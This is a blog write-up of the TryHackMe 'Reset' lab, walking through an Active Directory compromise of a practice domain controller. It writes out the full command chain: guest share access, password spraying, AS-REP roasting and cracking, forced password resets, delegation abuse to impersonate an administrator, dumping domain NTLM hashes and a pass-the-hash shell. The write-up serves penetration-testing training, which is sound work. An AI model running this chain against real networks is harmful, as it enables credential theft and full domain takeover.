Reset Writeup

theblxckcicadatheblxckcicada
5 min read

Credit for this room goes to : h4sh3m00 and tryhackme

In this room, we'll step into the shoes of a red teamer in a simulated hack challenge. We'll navigate a realistic organizational environment with up-to-date defenses, where we'll test our penetration testing skills, try to bypass security measures, and infiltrate the system.

From our nmap scan, using the tool nmapAutomator, we can see that the machine is a Windows server running Active Directory. Below is a snippet of the nmap results that will be most important for us.

 sudo nmapAutomator.sh -t Full -H 10.10.149.103

PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-19 07:41:43Z)
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: HAYSTACK
|   DNS_Domain_Name: thm.corp
|   DNS_Computer_Name: HayStack.thm.corp
|   DNS_Tree_Name: thm.corp
|   Product_Version: 10.0.17763
|_  System_Time: 2025-07-19T07:42:35+00:00
| ssl-cert: Subject: commonName=HayStack.thm.corp
| Not valid before: 2025-07-18T07:32:24
|_Not valid after:  2026-01-17T07:32:24
|_ssl-date: 2025-07-19T07:43:15+00:00; 0s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: HAYSTACK; OS: Windows; CPE: cpe:/o:microsoft:windows

From the nmap scan we can see that the domain for this server is thm.corp and the DNS Computer name is haystack.thm.corp. Both of these domains we add them in /etc/hosts

10.10.149.103       thm.corp haystack.thm.corp

By using crackmapexec we are able to list the shares with a guest user as it is not disabled and does not require a password. We can see from the results that we are able to read and write in Data share drive.

crackmapexec smb thm.corp -g 'guest' -p '' --shares

To access the share drive we use smbclient and pass the guest user account with no password. In the drive we find a directory named onboarding and within the directory we find 3 files and we use the smb commands to download all of them.

smbclient //thm.corp/Data -U guest

# Download the files from smbclient
prompt off # this disables confirmation when downloading
resurse on # this is to download even sub directory data if they exist 
mget * # this is to download everything in the current directory 
exit # to exit the smbclient shell session

Now that we have downloaded all the files to our local machine, we can see that the text file contains an email template. It appears to be intended for a new team member and includes a default password: ResetMe123!.

cat 4fx32pug.h2y.txt

Well we have a password but no user account, it’s time we find a user. As we noticed that the guest account is active we use impacket’s lookupsid to try and grab all the local and domain usernames in the server.

impacket-lookupsid thm.corp/guest@thm.corp -no-pass  |  awk -F '[:\\\\\\\\(\\\\)]' '/SidTypeUser/ {{print $3}}'

We save the list of users to the users.txt file for safe keeping as we may need it later. To find if a user didn’t update their password and still uses the default one we can use kerbrute or crackmapexec and in this case I used crackmapexec and found a valid user LILY_ONEILL.

crackmapexec smb thm.corp -u users.txt -p 'ResetMe123!'

Even though we found valid user credentials, we couldn't use them because they were revoked. So, we need to find another attack path. Just like we used impacket-lookupsid, we will use impacket-GetNPUsers, which tries to collect non-preauth AS_REP responses for a given list of users. This method is known as ASREPRoasting. From the list of hashes we obtained, we managed to crack the password for TABATHA_BRITT using hashcat, as shown below.

 impacket-GetNPUsers 'thm.corp/guest'@thm.corp -no-pass -request -usersfile users.txt

hashcat hash.txt /opt/wordlists/rockyou.txt

Now that we have a valid username and password we need an advantage which in this case is to use bloodhound to gather more information about our target.

bloodhound-python -d thm.corp -u tabatha_britt -p 'marlboro(1985)' -ns 10.10.149.103  -c all

To launch the Bloodhound web interface, use the following command. When you run sudo docker-compose -f bloodhound.yml up, you will receive a default password. The username will be admin, and you'll need to use the provided password initially, then reset it.

sudo apt update && sudo apt upgrade
sudo apt install docker.io
sudo systemctl enable docker --now
sudo apt install docker-compose
curl -L https://ghst.ly/getbhce -o bloodhound.yml
sudo docker-compose -f bloodhound.yml up

After logging into the interface, upload all the Bloodhound files and go to Explore. Instead of searching, click on PATHFINDING. From SEARCHING, we know that CECILE_WONG is part of the Domain Admins, so we need to find the path to her account.

The snippet above shows that TABATHA_BRITT can force a password change for SHAWNA_BRAY, who can do the same for CRUZ_HALL. CRUZ_HALL can then force a password change for DARLA_WINTERS, who has permissions to delegate on the server. We use the following steps to change the passwords of these users.

net rpc password "SHAWNA_BRAY" "P@ssw0rd123" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.149.103"  
net rpc password "CRUZ_HALL" "P@ssw0rd123" -U "thm.corp"/"SHAWNA_BRAY"%"P@ssw0rd123" -S "10.10.149.103" 
net rpc password "DARLA_WINTERS" "P@ssw0rd123" -U "thm.corp"/"CRUZ_HALL"%"P@ssw0rd123" -S "10.10.149.103"

Now that we have DARLA_WINTERS' valid credentials we use impacket-findDelegation to list the delegation rights.

impacket-findDelegation thm.corp/'DARLA_WINTERS':P@ssw0rd123  -dc-ip 10.10.149.103

From the list we choose the cifs/HayStack.thm.corp to impersonate an administrator and request a ticket on behalf of the administrator then save that ticket to KRB5CCNAME environment variable.

# Request ticket onbehalf of the administrator 
impacket-getST thm.corp/'DARLA_WINTERS':'P@ssw0rd123' -spn cifs/HAYSTACK.thm.corp -impersonate administrator -dc-ip 10.10.149.103

# Save to environment variable
export KRB5CCNAME=administrator@cifs_HAYSTACK.thm.corp@THM.CORP.ccache

Now that we have the ticket we can pass the ticket and dump the domain controller NTLM hashes for all the users.

impacket-secretsdump thm.corp/administrator@HAYSTACK.thm.corp -k -no-pass -dc-ip 10.10.149.103 -just-dc-ntlm

Final step is to use evil-winrm to get shell session with CECILE_WONG's NTLM hash who is part of the domain admin users.

evil-winrm -u CECILE_WONG -H 067a84e5afaed843ed4a8fdac5facac3 -i thm.corp

As you followed along, you'll notice that I didn't show any flags, and that was intentional. This write-up is meant to help you understand and develop the mindset of a penetration tester. We are not hunting for flags; instead, we are simulating real-world attacks. Keep practicing, stay curious, and let each challenge sharpen your approach to real-world security testing.

1
Subscribe to my newsletter

Read articles from theblxckcicada directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

theblxckcicada
theblxckcicada